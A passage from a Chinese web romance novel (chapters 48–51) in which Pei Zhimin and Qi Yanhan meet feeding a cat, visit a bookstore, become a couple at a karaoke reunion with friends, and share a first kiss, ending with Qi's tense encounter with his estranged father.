想起今天她回南城,祁砚寒出了公司就给裴知悯打了个电话,趁着铃声在响,他抽空点了根烟,微微一侧头,却看见了一抹熟悉的人影。 电话这时通了。 “喂?”声音很轻。 祁砚寒远远注视着她,柔声问:“在做什么?” 裴知悯:“喂猫。” 小猫有点怕生,舔一口酸奶就看她一眼,裴知悯笑意盈盈,小心翼翼地喂它喝。 “在哪儿喂?” “一个广场上,”裴知悯头都未抬,“具体是哪儿我也不清楚。” 祁砚寒低低笑了,刚点的烟抽了两口就被掐灭了,他缓步朝她走过去。 或许是裴知悯的动作足够怜惜,小猫眼里的畏惧少了大半,乖顺地喝着酸奶。 离她还有几步路时,祁砚寒停下了脚,看着她姣好的笑颜,垂落的发丝,无声笑了下。 酸奶剩了最后一点,裴知悯全倒了出来给它喝,不曾想这小家伙舔完最后一口就跑了,她望着那团小小的背影,一时失笑,小声咕哝了句“吃完就走,你也太没良心了吧”。 电话里忽地传来一声轻笑。 裴知悯拿开来看,电话还显示在通话中,她微愣:“你没挂啊?” 说着她手撑着膝盖站起来,一抬眸,和三米之外的人径直对上视线。 他穿着深灰色的毛衣和黑色风衣,站在桂花树下,一身清爽,眼里暗藏笑意。 对视之中,祁砚寒先挂断了电话。 裴知悯往左迈了两步,把酸奶盒子丢进了一旁的垃圾箱里,彼时他已经走近。 “喜欢猫?”他低声问。 “还行,”裴知悯环顾四周,见那只小猫全然没影了,她才问他,“你怎么在这儿?” 祁砚寒不正经地笑:“我说是缘分你信不信?” 裴知悯微微蹙眉,显然不信。 祁砚寒笑意渐深,朝那边的一栋大楼抬了抬下巴:“我才下班。” 裴知悯顺着他的动作瞧过去一眼,那里坐落着一家公司。 “这下信了吧?”他笑。 裴知悯轻轻抿了抿唇。 暮色合拢,街灯亮起,马路上车流不息。 祁砚寒余光瞥到她身后长椅上的杂志,问道:“你去过那家书店了?” 他这么一说,裴知悯才记起来忘了正事,本来想拍完照就去的,谁知耽误到了现在。 她拍了拍额头:“还没。” 祁砚寒视线未移:“那这杂志是从哪儿来的?” 裴知悯回头看了眼,皱眉说:“不知道,可能是别人落下的吧。” 祁砚寒淡淡“嗯”了声。 天色暗了两分,裴知悯看了眼手机时间,不确定地问:“书店一般晚上才关门吧?” 祁砚寒反应很快:“过去看看不就知道了。” 书店在繁华大街的北边,离这里不近不远,开车十分钟就到了。 到底是新开张的店,热度还没消减下去,店里顾客很多,谈笑声稍显嘈杂。 裴知悯在二楼走走停停挑挑选选,祁砚寒陪着她极少说话,她和店员交谈的时候,他就沉默地站在她身后等着,待到她走动时,他又跟上去。 书店灯光明亮,照得那一双人影从容般配。 逛到一半,裴知悯忽然停下来问他:“今天买还有折扣吗?” 祁砚寒笑:“有。” “你确定?” “嗯,”祁砚寒说,“我那天问了店员,她说春节期间都有。” 裴知悯放下心来,逛完整个漫画区挑出了两本书,末了祁砚寒让她给自己推荐一本,他买回去送给方芷宜。 裴知悯犹豫:“我选的她不一定会喜欢。” “你选的她不一定,”祁砚寒笑,“反正我选的她肯定不喜欢。” 裴知悯噗嗤一声乐了,扫视一圈,往前走了几步,“这本吧,法国插画大师桑贝的《秋风平地起》,里面很幽默,读起来应该不会枯燥。” 祁砚寒笑了下,很信任地拿走了那一本书。 结账的时候,店员真给他们打了折,走出书店,夜幕低垂,霓虹闪烁。 隔壁是一个小型集市,裴知悯就在入口摊位的手工针织包上停留了两秒,那个摊主就捕捉到了,热情地向祁砚寒推荐:“我这都是纯手工制品,没得假,你女朋友喜欢的话,就买一个吧。” 那声“女朋友”,听得两个人都愣了一瞬。 这个词,真是够暧昧的。 裴知悯连忙解释道:“阿姨,您误会了,我们就是普通朋友。” 摊主干笑了两声,瞄了眼她身旁的男人,脸色淡淡,看不出多大的情绪。 那个集市他们没有往里逛,刚走出这一片,苏英打来了电话,说鸡汤快炖好了,喊她回家吃饭。 祁砚寒听见,真是心酸又无奈。 见她一面困难,想请她吃个饭也困难。 那晚的后面,祁砚寒还是送她回了家。 道路宽阔,两边的霓虹灯迷离璀璨,车辆平稳地穿梭在夜色里,裴知悯望着窗外热闹又平凡的街景,熬夜的劲儿还没过去,她有点昏昏欲睡。 祁砚寒将车速控制得很好,不快不慢,到了地方,天已经黑了,路灯亮起,光线昏黄。 车停在路边没一会,裴知悯就睁开了眼皮,解开安全带,她便想去推门。 祁砚寒率先握住她的手腕,唇角轻扬:“这就走了?” 裴知悯回过头看他,表情茫然:“不然呢?” 祁砚寒看向后座:“你的书不要了?” 差点忘了这个。 裴知悯懊悔地咬了咬唇,手撑在中控台上,半侧过身抬腰去探后座的书,因为姿势的原因,她靠他很近,身上那股清淡甘冽的香气如此近地萦绕在他的鼻腔间,他只要一闭上眼,就能沉沦。 拿到书,裴知悯坐回副驾不放心地看了看,正要走时,祁砚寒倾身过来,嗓音闲散:“你把那个称呼坐实,好不好?” 裴知悯刚睡意中剥离出来,脑子还有点迟钝,懵然反问:“什么称呼?” 祁砚寒盯着她的眼睛:“女朋友。” “嗯?” 她这下意识的回答,一下就着了他的道。 祁砚寒眉梢一挑,一脸得逞地看着她。 空气沉默了十秒。 裴知悯后知后觉地反应了过来,她也不言语,直直地和他对望。 外面起了风,拂上车窗衬得车里更加安静。 “你不是不着急要答案吗?”裴知悯眨了眨眼睛,反击道,“这么快就沉不住气了?” 祁砚寒望着她明亮里裹着试探的眼眸,轻轻笑了。 “本来我也以为我会很有耐心,”他的声音又低又轻,在这夜里很清晰,“可是——” “对于你,我还是高估了自己。” 他说这句话的时候,眼里盛了三分妥协七分柔情,缓慢脱口出自真心。 裴知悯被他看得心头直跳。 车里光线微弱,男女无声的对视中,有种隐秘的旖旎在上浮。 “脸怎么红了?”祁砚寒故意逗她。 裴知悯碰了碰脸颊,小声道:“没有。” 祁砚寒低低一笑,再次看过来时,眸光愈发灼热,“你愿意快点考虑吗?如果同意,随时给我发消息。” 说完,他顿了下,苦涩道:“如果不同意,那也算我自作自受。” 毕竟,有些事情就像时光,一去不返。 那时候裴知悯并不知道那个“自作自受”是什么意思,她只一味地愣着。 一旁的马路上,传来一声短促的鸣笛声,裴知悯瞬间回神,抱紧书麻溜地推门下了去。 临走前的那个“好”字听得他心情愉悦,女朋友那三个字,是那么美好,却似乎感觉又那么遥远。 这阵风还没停,吹过树梢,影子在挡风玻璃上左右摇晃,透过阴沉的阴影,隐约可以看见驾驶座上的男人略显无力地靠上座椅后背,沉沉吐了一口气。 第49章 第49章“答应了就不能反悔。”…… 裴知悯回到家时,饭菜已经摆好了,苏英从厨房里端了两碗汤出来,随口一问:“怎么这么晚才回来?” 裴知悯避重就轻:“去了趟书店,逛久了些。” 苏英没说什么,只让她赶紧洗手吃饭。 餐桌上,苏英时而会和她说两句话,裴知悯回得心不在焉的,她母亲几不可察地摇了摇头,姑娘大了,有自己的心思喽。 吃完,裴知悯被苏英早早勒令去睡觉,房间的窗帘没有拉严实,浅薄的月色从缝隙中溜进来,细碎地洒在地板上,她看了半天,脑海里还是会不由自主地浮现出那双漆黑锐利的眼睛,像是千尺深潭,诱人沉沦。 心底的那个人住久了,即使悄无声息的离开过,但有些感觉不会消失,别再不想承认了,心动骗不了人。 世界寂静,无风无雨,一声声的吐息很是明显,祁砚寒坐在书桌前,缓慢地抽着烟,眼神一直落在桌面上的那本杂志上,黑夜浓稠,她身上的清香,绵软的音调,像是蛊一样往心里钻,让他抽了半夜的烟才睡着。 东方欲晓,又是新的一天。 投行有个业务出了岔子,祁砚寒不得不去出差处理一趟,到了航站楼,他给裴知悯发了条消息。 [公司临时有事,我要离开南城几天。] 那会儿裴知悯正坐在去南大的地铁上,今年毕业,有不少事还没弄完,看到消息,她回完那句“好”,地铁就到站了。 还没开学,校园里没多少人,邓漪已经在宿舍里了,两个女孩子相视一笑,表情都有些命苦。 后来的两天,裴知悯忙着完善毕业论文,在图书馆里一坐就是大半天,他好像也很忙,消息很少发,电话也没有打过。 那天下午,裴知悯改完论文给闻霏发过去,就去了食堂吃饭,刚吃完,电话响了起来。 “在做什么?”他嗓音微哑。 说实话,再次听见这道熟悉的声音,裴知悯是有那么两秒的想念的。 “刚吃完饭,”她慢腾腾地走在林荫路上,“正要回宿舍。” 祁砚寒淡声“嗯”了声,他那边好像在下雨,清脆的雨声跟随着他的一句“吃的什么”一起传了过来。 裴知悯老实答:“食堂的三鲜面。” “图书馆附近那个?” “嗯。” 祁砚寒笑:“一猜就是,那个食堂的面最好吃。” 裴知悯:“你吃过?” “你这话说的,”祁砚寒语气悠悠,“我好歹在那儿读了四年书,能不知道吗?” 裴知悯笑了笑:“哦。” 隔壁包厢推杯换盏的声音还没消减,笑声很大,祁砚寒往露台的最边上走去,靠在玻璃窗上吹风醒酒。 “南城下雨了吗?”他听着嘈杂的雨声,忽然问起。 裴知悯:“没有,这段时间天气都很好。” 祁砚寒笑:“我这边下了雨,很大。” 裴知悯沉吟片刻,傻愣愣地问:“你不喜欢下雨?” 祁砚寒闷声一笑:“还行,你呢?” “我挺喜欢的,”她说,“安静舒适。” 祁砚寒笑意渐深。 窗外的雨依旧猛烈,隔壁的场子气氛好像低沉了些,他不能离席太久,抬脚慢慢过去,“我要挂了,后面再打给你。” 裴知悯怔了下,轻轻“嗯”了一声。 “忘了说,”祁砚寒笑了声,最后道,“我后天回来。” 这话像是亲昵的报备。 裴知悯又“嗯”了声,说完,他那头响起了热络的打招呼,电话很快被挂断,忙音跳出来的那一秒,她心头一阵空荡。 收了手机,她暗暗做了个决定。 闻霏改论文效率很快,第二天就把她喊去了办公室,讨论说需要修改和调整的地方,讲了快两个小时才结束。 那是个很宁静的下午,学校里树木葱郁,空气中飘着新鲜的花草香气。 裴知悯抱着东西回了宿舍开始修改论文,手机一直放在电脑旁边,但她没等来祁砚寒的电话,倒是先等来了喻臣的消息,他说蒋琛回来了,要不要出来聚聚。 裴知悯思索两秒,回了个“好”,关上电脑,她简单收拾了下出门。 傍晚的天空一片绯红,云彩自由地飘着。 他们订的是个包厢,裴知悯到的时候,里面氛围正好,卫旭在唱《沧海一声笑》,他唱得豪迈潇洒,中气十足,喻书在带头鼓掌欢呼,裴知悯站在门口,听着听着就笑了,一曲唱罢,她缓缓推开门进去。 包厢里只有祁砚寒不在,打过招呼,裴知悯去了喻书身边坐下,她递来一杯果汁,又瞪了眼那边喝酒的喻臣,无奈道:“只有这个。” 裴知悯明了地接过:“没事。” 包厢里流淌着轻缓的伴奏声,卫旭一如既往的热情,递来话筒喊她们唱不唱歌,两个女生双双摆手。 卫旭没有强求,放下话筒,出去拿吃的去了。 喻臣和蒋琛边喝边聊,问起他创业的事,蒋琛直言道:“有点起色,很快就要步入正轨了,但后面研发的经费还没拉到。” 喻臣了然,举起酒杯:“敬你一个。” 蒋琛扯了扯唇角:“敬我做什么?” 喻臣一口气干了那杯酒,撂下杯子说:“凭你这股胆量,兄弟都高看你三分。” 这几年国内的无人机市场前景广阔,但蓝海市场市场进入者众多,不少创业公司在起步的时候就被淘汰了,蒋琛他们团队能挺过这一关,够他吹个一年半载的。 蒋琛自嘲地笑了声,仰头闷了那杯酒,这些年除了技术上的本事,就只剩酒量锻炼起来了。冰凉的液体滑过喉咙,真是酸爽,他忽然想起高三为了应付写作背的一首北岛的诗:“那时我们有梦,关于文学,关于爱情,关于穿越世界的旅行,如今我们深夜饮酒,杯子碰到一起,都是梦破碎的声音。” 拼了四五年,才拼出个起步的样子,说成功也成功,说失败当然是失败的。 没几分钟,卫旭回来了,他把蛋糕零食放在茶桌上,环顾一圈,“砚哥还没到啊?” 裴知悯闻言,微微蹙眉,他不是明天才会回来吗? 喻臣刚想给他打个电话,包厢门忽地被推开了,众人的目光一齐投了过去。 门口的男人穿着黑色的衬衫和风衣,从容淡定,又风尘仆仆,手上还推着一只拉杆箱。 裴知悯登时僵住了。 “真是说曹操曹操到啊,”蒋琛说,“你再不来酒都喝完了。” 祁砚寒弯唇一笑,把箱子放在门后,走了进来。 “这是刚下飞机就来了吧,”卫旭揶揄道,“这么着急见我们啊?” 这话别有深意。 在场的人心照不宣地看向了裴知悯,她不好意思地低了点头。 “不说那些了,”喻臣笑着岔开话题,“迟到了这么久,怎么说?” 祁砚寒给自己倒了杯酒,一饮而尽后,他把杯子倒立:“这样可以了吧?” 男人们一笑而过。 L形的沙发上,卫旭本来坐在裴知悯左边,他一来,这人麻溜地起身去点歌机那儿鼓捣了,临走时还把她喻书喊走了,祁砚寒顺理成章地坐在了裴知悯身边。 “等会别急着走,”他倾身过来,温声道,“我有东西给你。” 裴知悯低眸:“嗷。” “在说什么悄悄话呢,”喻臣推来一杯酒,碰了下他的胳膊,“今晚蒋琛才是主 角。” 祁砚寒淡淡一笑,拿过酒就喝了起来。 几个男人很久没见,酒杯热烈地碰撞在一起,喝到一半,卫旭不知怎的来了兴致,拉着蒋琛点歌,前奏一响,裴知悯就听出来了是那首火遍大江南北很火的《你曾是少年》,这次蒋琛没有开口跪,那一句“有些时候,你怀念从前日子”音准十分在线。 喻书依旧很捧场,在底下认真地听。 裴知悯看着眼前的这幅画面,真的感慨今夕是何年。 过了这么多年,大家都变了,又似乎没变,他们之中有人为理想奋斗,有人生活平淡普通,即便很少见面,但再次聚在一起,还是说说笑笑是老朋友,是旧时候。 几首歌唱完,卫旭累了吵着要休息,包厢里有那么一会儿的安静,裴知悯听见身旁的人闷哼了一声,转头一瞧,他的脸色有点难看。 祁砚寒放下酒杯,跟喻臣说了句便大步往外走了。 包厢门很快被关上,裴知悯心头一咯噔,吸了一口气,终究是放心不下跟了出去,走廊上人来人往,却没有他的影子,她沿着走廊走了一截路,又转了一个弯,还是没看见人。 正想要回去,手腕上忽然来了一股力道,一下把她扯进了一旁的隔间,里头光线黯淡,她下意识想要挣扎,她用了十足的劲儿,祁砚寒松了一些力气,笑声散漫。 “在找我?”他的声线又低又哑。 裴知悯浑身一怔,闻见他身上清冽的酒味,她瞬时失了力气,祁砚寒缓缓凑近,昏沉的光线中,他眼里的促狭意味很浓。 “是在找我吗?” 他重复了一遍问题。 这样的直视,裴知悯有些受不住,她咬了咬唇,不动声色地岔开话题:“你不是明天才回来吗?” “事情提前解决了,”祁砚寒笑,“想回来看看南城的好天气。” 裴知悯抿紧了唇。 空气静默良久。 祁砚寒看着她干净又别扭的脸,慢慢皱起了眉,一点“嘶”声从喉间漏了出来。 裴知悯关切道:“你没事吧?” 祁砚寒咬着牙:“有事。” 裴知悯心一紧:“你哪里不舒服?喝了这么多酒,出去透透气吧,这里太压抑了——” 说着她就要去拉门把手,祁砚寒把她拉回来,按在门板上,快速把门反锁,眼神灼热得把她看穿:“这是同意了?” 裴知悯一瞬明白过来,脸颊都烫了。 祁砚寒声线微沉:“这么难回答吗?” 裴知悯嗓子有点哑:“我……” “今晚没喝酒吧?”他问。 裴知悯轻轻摇了摇头。 祁砚寒低低一笑,缓慢把头埋在了她的肩上,他的呼吸又沉又重,喷洒在颈间,那块的皮肤温度都高了,连带着那张脸也红了,裴知悯一颗心直跳。 门外有很多人经过,脚步声急促杂乱,走廊尽头掀起了一阵风,重重拍在铁门上,人声风声交织在一起,这夜太乱了,她听见男人笑了声,强势道:“答应我了就不能反悔。” 第50章 第50章“害羞怎么不躲?” 裴知悯浑身紧绷,背后的金属门冰凉坚硬,肩上承载了小半个男人的身体重量,他靠在她的肩上,腰背微躬,以一种臣服的姿态,她从真实之中渐渐感觉到了一丝不真实。 空间安静得能听出门外有几个人经过。 祁砚寒吸了一口气:“怎么不说话?” 裴知悯回神,轻推了下他的手臂:“你先起来,我肩膀有点疼。” 祁砚寒清淡地笑了下:“我的错。”说着他缓慢从她肩上抬起了头,但胸膛依旧贴她很紧。 皎洁的月光从窗户洒了进来,地面上,男女的影子交织在了一起。 祁砚寒旧事重提:“刚才说的话,你没反驳,那就是同意了。” 这是什么道理?! 裴知悯缄默片刻,还没来得及给出回应,门上忽然有了轻微的声响。 工作人员按了按门把手,打不开。 裴知悯一激灵,赶紧去推身前的人,嗫嚅道:“有人来了。” 祁砚寒纹丝未动,笑着问:“怕什么?” 她的声音很小:“这样不好。” 祁砚寒觉得好笑:“我们做什么了就不好?” 裴知悯被问的说不出话。 见打不开,门口的人一边摸出手机打电话,一边还在尝试压门把手,裴知悯被那声响弄得心头直跳。 “经理!”门外的电话通了,“A区的隔间打不开啊?” 电话那头的人嗓门很大:“不是让你去A区,是B区!” 工作人员讪讪笑了声。 待他走后,裴知悯的肩膀肉眼可见地放松了下来,祁砚寒敏锐地察觉到,闷声一笑:“我们刚确立的这么正当的关系,你还怕人看到?” 裴知悯脸色一红,抿唇不语。 月光照进来后,屋子里亮堂了几分。 他略显疲色的脸上,有两分的薄红,裴知悯拿捏不准,关切问道:“你到底难不难受?” 祁砚寒勾起唇角,看着她玩味的笑了。 裴知悯皱眉:“你先别笑。” 祁砚寒笑得没个正形:“有女朋友关心就是好啊。” 裴知悯瞪了他一眼:“你身体不要了?” 祁砚寒稍微收敛了点,揉着她的发梢道:“我没事。” 裴知悯不放心:“但刚刚在包厢,你的脸色不太对。” 祁砚寒简单解释:“有两杯酒喝得急了些,有点反胃。” “那你现在还有没有不舒服?”裴知悯问,“想吐吗?” 祁砚寒摇头,诚实道:“想抽烟。” 裴知悯:“……” 以为他出了事,她才着急忙慌地追了出来,现在他好生生地站在这儿跟她开玩笑,裴知悯一口气不上不下的,索性别开脸看向了一旁。 她这样生动的模样,看起来可爱极了,祁砚寒笑:“两杯酒换来了一个女朋友,也是有点出乎意料。” 裴知悯的耳尖红了。 不知道什么时候起,门外的脚步声消失了,想来应该是没人在外面了,裴知悯正想说出去,祁砚寒的手机忽然响了,摸出来一看,屏幕上的备注是:喻臣。 他顿了一秒,按了挂断。 裴知悯没有说话。 “回去吧,”祁砚寒一手拉着她,一手去开门,“喻臣看我们都不在,肯定要来问情况。” 他的手掌干燥温热,给人一种很踏实的感觉,裴知悯任他牵着走了出去,走廊上没有人,柔和的晚风从窗子吹进来时,她还有点恍惚。 就这么一刻钟的功夫,她就有了男朋友? 到了包厢,祁砚寒径直牵着她进去,大家瞧见他们相握的手,顿时心领神会了。 再次坐在他身边,裴知悯还没缓过神来,喻书给她使了个眼神,她自觉地往她那儿挪了点位置。 “什么时候在一起的?”喻书凑到她耳边,眼神锋利。 裴知悯吞吞吐吐:“就……刚刚。” 喻书的表情一瞬间变得好看起来,她瞥了眼在另一旁喝酒的男人,想到问起他时她温吞不定闪烁其词的情态,这样的结果她大概也猜到了。 但就这么十来分钟,就被他拐跑了,想来还是她道行太浅。 喻书叹了口气,幽幽道:“没定力。” 裴知悯轻咬了咬唇,“没心没肺”地笑了。 包厢里灯光闪亮,《你曾是少年》的伴奏还在放,四个男人围在茶几前打扑克,输了一局一瓶酒,喻臣运气不好,输了好几局了,他偷偷拱了下身旁那个一脸带笑的人的胳膊:“你今儿心情不是挺好的吗?下手这么狠?” 本来能让他走的牌,他非要打一张下来拦住。 祁砚寒淡淡一笑:“你自己技术不行就不要怪别人。” 哪个男人听得了“不行”这两个字? 喻臣咬着牙道:“你人逢喜事精神爽,别以为我不知道你怎么得手的?” 他那酒量,喝个两瓶根本算不得醉,在那儿装给谁看呢。 祁砚寒勾了下唇,一笑置之。 “诶, 时隔多年,“喻臣打了一张黑桃7出去,悄声问,“追到了是什么感觉?” 祁砚寒扣了扣桌面,说“不要”,放水让他这张牌走了,扬眉道:“这种感觉,明白?” 这么直观,喻臣哪能不懂。 牌桌上的气氛很是热闹,背景音总是一首歌,喻书有点听烦了,选了一首莫文蔚的《忽然之间》来唱,有时换不过来气,她就会把话筒递给裴知悯,她也没忸怩,歌词滚到哪句她就唱哪句。 她的声线柔和清澈,一张口,总是会有一种特别的韵味,抓人耳朵,祁砚寒总是会默默地看过去。 这几句歌词还没唱完,新一轮牌局就开始了,喻臣摸了一张牌,忽地感慨道:“从前怎么不知道,知悯唱歌这么好听。” 祁砚寒目光遥远,他不知道么?他好像一直都知道,从前她唱《天黑黑》时,有一种从心底破出来的伤怀,听起来诚恳动人,那天晚上唱的那首歌也很动听。 牌权轮换,很快到了祁砚寒身上,他却一动不动地看着裴知悯。 “别看人家了,”蒋琛戏谑道,“看了这么久还没看够啊。” 祁砚寒收回视线,笑得闲散:“我女朋友这么漂亮,我多看两眼怎么了?” 此话一出,牌桌上男人一阵哄笑,坐在暗处的女孩子羞红了脸,裴知悯不自主垂了垂眸,手机蓦地弹出了几条消息,她点开来看,是闻霏发来的作为论据的补充案例,让她参考参考。 回过闻霏,裴知悯就看了起来。 她没唱歌,祁砚寒心思也放在了牌上,玩了十几二十轮,大家总算尽兴了。 外面夜色漆黑,星辰满天。 众人堪堪散场,卫旭醉了,被蒋琛和喻臣扶着走,喻书本想问一句裴知悯的计划,话都机会说出口,就被她哥拉走了。 不多时,包厢里就只剩了他们两个。 那时裴知悯正在回邓漪的消息,眼睛从始至终都在手机上,祁砚寒拿上那盒糕点,走到她旁侧坐下,询问道:“在看什么?” 裴知悯:“论文。” 祁砚寒笑着调侃:“这么忙啊?刚得的男朋友都不要了?” 裴知悯抿嘴:“毕业论文,花的精力要多些。” 她说这句话时,眼神都没给他一个,祁砚寒无奈地摇了摇头,看着她这张白皙温柔的小脸,好像比之前瘦了些,方才握着她的手腕,骨感明显。 “这段时间都在忙这个?”他问。 裴知悯轻声“嗯”了下,快速打字回复。 “难怪,”祁砚寒轻轻撩了下她耳边的碎发,“瘦了。” 裴知悯指尖微顿,她还不太适应这样的亲昵,小幅度地往后躲了一下,祁砚寒发觉到,一把将人揽进了怀里,独属于他的气息一下笼罩了过来,裴知悯霎时顿住。 祁砚寒笑了起来:“帮你适应。” 就这样抱到了她回完消息,收了手机,裴知悯去推他的手:“我们走吧。” 祁砚寒手臂收得更紧:“再说会儿话。” 裴知悯咽了下嗓子:“说什么?” 祁砚寒没吭声,只是朝茶几抬了抬下巴。 裴知悯这才发现桌面上摆着一盒四四方方的糕点,包装古朴精美。 她看向祁砚寒:“这是……?” “出差时给你带的。” 盒身上的店铺名字是全国都很出名的牌子,裴知悯对它有所耳闻,限时限量,想吃的话需要长时间排队。 “本来想用来贿赂你的,”祁砚寒眼底带笑,“但现在看,是用不上了。” 裴知悯眼珠一转,明知故问:“贿赂我什么?” 祁砚寒咬了下牙根,盯着她,意思不言而喻:“你说呢?女朋友。” 这个称呼,听起来就亲昵美好。 裴知悯心头微胀,小声说:“谢谢。” 祁砚寒扬唇一笑:“怎么谢?” 裴知悯被这话弄懵了,沉吟着思考了起来。 她微张着唇,一脸懵懂又较真的样子,看的人格外燥,祁砚寒眼神幽暗,手掌扣着她的后脑,缓缓倾身过去,在离她咫尺的位置,男人停留了片刻,灯光昏暗,他的气息独特又迷人,裴知悯沉溺在了那双热烈又深情的眼睛里。 见她没有躲闪,祁砚寒直接吻了上去。 一时间,裴知悯心脏骤停。 月色中天,星光璀璨,他周身的酒味微浓,扑进她的鼻腔里,令人沉醉,裴知悯缓缓闭上了眼,一颗心扑通直跳。 他吻得轻柔至极。 这个吻没有深入,只在她的唇上舔。弄了几秒,却还是让她脸红得不成样子。 一吻完毕,裴知悯羞赧得低下了头。 祁砚寒慢慢笑出了声,揉了揉她的发端,又去牵她,一去摸,才发现她的手心冒了汗。 “害羞了?”他笑着问了一句,抽出纸巾给她擦手。 裴知悯头又低了些,没应声。 祁砚寒眼神促狭:“那刚才怎么不躲?” 裴知悯倏地抬眼,瞪了他一眼,声音细若蚊呐:“你别说了。” 祁砚寒无言一笑,给她擦净手,牵她起来说:“走吧,送你回学校。” 裴知悯暗自做了个深呼吸,缓缓起身。 余光瞥见她的小动作,祁砚寒轻笑了声,似逗似笑,裴知悯听见,挣开了他的手,独自往外走,祁砚寒望着她快步离去的身影,蓦地愣了下,不自觉地舔了下唇,唇上还有她的触感。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第51章暗醋 男人身高腿长,步子迈得很大,没多少步就追上了往前走的女孩子。 楼梯狭窄,有人上上下下,他们都没说话,一前一后地往下走。 夜色浓稠,城市灯火通明。 裴知悯脸上的红晕已经消下去了,余光里,他站在左侧,目光探究,她当没看到,抬脚朝着街边走,祁砚寒反应很快地跟了上去,噙着笑,柔声问:“生气了?” 裴知悯目不斜视,声音平静:“没有。” “没有那跑什么?”祁砚寒偏头看她,不紧不慢道,“刚得到手就不珍惜了?” 裴知悯一下停住了脚步,慢慢转过头,不可置信地睁大了眼。 祁砚寒无辜地挑了挑眉梢:“不是这样吗?” 裴知悯指了指他又指了指自己,无语凝噎。 月夜宁静,晚风又轻又缓地吹了过来。 裴知悯眸光逐渐变得狡黠,朝他灿烂一笑:“你说我现在反悔还来得及吗?” 这话一出,祁砚寒眼皮都跳了一下,他盯着她,将重点不动声色地扯回来,“亲都亲了,这话说的就有点不负责任了吧?” 裴知悯抿紧唇,缄口不言地看着他。 明明就是他在那儿得寸进尺地逗自己,她气不过才走的,到头来全是自己的错了? 她这表情,简直好看的不行。 祁砚寒闷声笑了一笑,伸手来拉她的手,妥协道:“好了,我不说了。” 裴知悯神色缓和,嘴角小幅度地扬了起来。 “好不容易追到手的女朋友,”祁砚寒握着她的手,慢步走着,“我可不舍得你反悔。” 裴知悯低下眼眸,目光落在和他相握的手上,这样亲密的动作,已然昭示了他们关系的转变,再一看,他的另一只手里拎着糕点,她一瞬间停住脚步,“你的行李呢?” 祁砚寒满脸无所谓:“女朋友都要没了还要什么行李?” 裴知悯微气,转身想回去,被他制止了,“送完你再去拿。” 深夜的街上,行人不多,他喝了酒,不能开车,给她叫了车回学校,两人牵着手一起往路边走。 春天的夜晚,祥和安宁,风都是软的,夹杂着淡 淡的花木香气。 祁砚寒呼吸了一口新鲜空气:“还是南城的天气好。” 裴知悯心有所感:“今年的春天好像比前两年都来得早,阳光也很明媚,温和适宜。” 祁砚寒:“喜欢春天?” “喜欢啊,”裴知悯说,“春暖花开,一年之中最好的季节了。” 祁砚寒轻轻颔首,笑了笑没有说话。 从包厢那栋楼出来到街边的这一段路,不算特别长,但他们好像走了很久,随意聊着天,悠闲自如,读书时候,裴知悯从没想过,多年后的一天晚上,她会和他牵着手在街上散步。 这天寻常宁静,路灯暖黄,他们不疾不徐地走着,吹着风,说着话,两道影子被拉得很长很长,缱绻温柔。 到了这条路的尽头,两人并身而立等车。 吹了一路清爽的风,他身上的酒味还没完全散去。 “你今晚喝这么多酒没事吧?”裴知悯忍不住问了句。 祁砚寒握紧了她的手,轻描淡写道:“没事。” 这语气太轻飘飘了,裴知悯端详着他的脸,他和喻臣他们喝了不少,此刻却还是云淡风轻一脸从容,看起来确实像没事。 裴知悯静默片刻,轻声说:“回去要是不舒服可以泡一杯蜂蜜水喝,醒酒的。” 祁砚寒静静听着。 裴知悯说完,又问起最重要的事:“你家有蜂蜜吗?” 祁砚寒想了几秒,点头道:“有。” 裴知悯放下心来,又和他讲要用温水泡,要充分搅拌,不然喝了还是白喝,这些话的关切真心实意,祁砚寒笑着一一应下来,他看着这张明净柔和的小脸,眼含笑意,缓慢压了过去。 裴知悯起初还没发现,一直在说,某一刻望着他逐渐放大的脸,她紧张得咽了咽口水:“你干嘛?” 祁砚寒启唇一笑:“怎么不说了?” “说完了,”裴知悯微微往后仰了点脑袋,“你都记住了吗?” 祁砚寒还在笑:“记住了。” 他的呼吸好似重了些,目光灼灼,大概是察觉到了他想做什么,裴知悯侧头一躲,委婉提醒道:“这是在街上。” 祁砚寒笑得胸腔微抖:“街上怎么了?” 裴知悯咬唇,正想说话,就看见他捡走了她肩上的树叶,她登时反应过来被戏弄了,别开的脸再没转回来。 祁砚寒虚拢着她的腰,心情舒畅,调笑道:“你以为我会干什么?” 裴知悯抿紧了唇,一时又羞又恼。 “又不说话?”祁砚寒瞥到她发红的耳垂,缓慢凑过去,“怎么耳朵还红了?” 裴知悯没什么威慑力地回头瞪了他一眼。 这时忽然传来一声鸣笛。 裴知悯赶紧推了他一把,往后退了两步,捋起了头发。 祁砚寒镇定自若地将手插进裤兜,扭头看向那车的车牌,说:“车到了。” 裴知悯闻言,低着头就往那边走,刚迈出两步,就听见他含着笑意的嗓音:“糕点不要了?” 前面的女生懊恼地跺了下脚,转身回来,拿走他手里的盒子时,还不忘俏皮地说一句“谢谢”,很快上了车,裴知悯降下车窗朝他挥了挥手,发丝飘扬,有几缕贴到了脸颊上,她用手拨开,那双眼睛明亮干净。 祁砚寒不禁弯起了唇,心里想着刚才就该亲上去,等到车子消失在了视野里,他按了按眉心,点了根烟,一边抽一边原路返回。 这条路行人稀少,祁砚寒慢腾腾地走着,先前还不觉得,如今一个人走,他忽地有点贪恋她身上的温度,正想着时,一不留神,被烟呛了一口,这人蓦地摇头笑了。 拿了行李,这只烟正好燃尽,他丢了烟头穿过前台,门口那里站着几个西装革履的中年男人在握手寒暄,看起来像是商务应酬结束,笑谈了会儿,终于送走了他们,祁宏松了口气,一转过身,就看见了不远处的人。 对视了两秒,祁砚寒淡漠地移开了视线,推着箱子往外走,经过他身侧时,祁宏伸手一拦。 “今晚也在这应酬吗?”祁宏问。 这样的开场像是所有长辈关心晚辈的一样,但是祁砚寒却并不买单,面色冷淡地看着他,没有说话。 祁宏瞥见他的那只登机箱,问道:“现在工作怎么样?应该挺忙的吧?” 尽管这些年他们极少联系,但从一些合作伙伴的嘴里,他也知道这个儿子挺有出息。 祁砚寒面无表情。 他浑身的烟味很烈,祁宏轻叹了一声,劝道:“烟酒还是少碰,对身体不好。” 祁砚寒神情没有变化。 见他这幅油盐不进老死不相往来的样子,祁宏的话重了两分:“不认我这个当父亲的了?” 祁砚寒冷冷地看着他。 “当年的事情,我的确有做的不对的地方,”祁宏声音苍沉,“但都已经过去了,你何必还要执着呢?” 祁砚寒冷哼了一声。 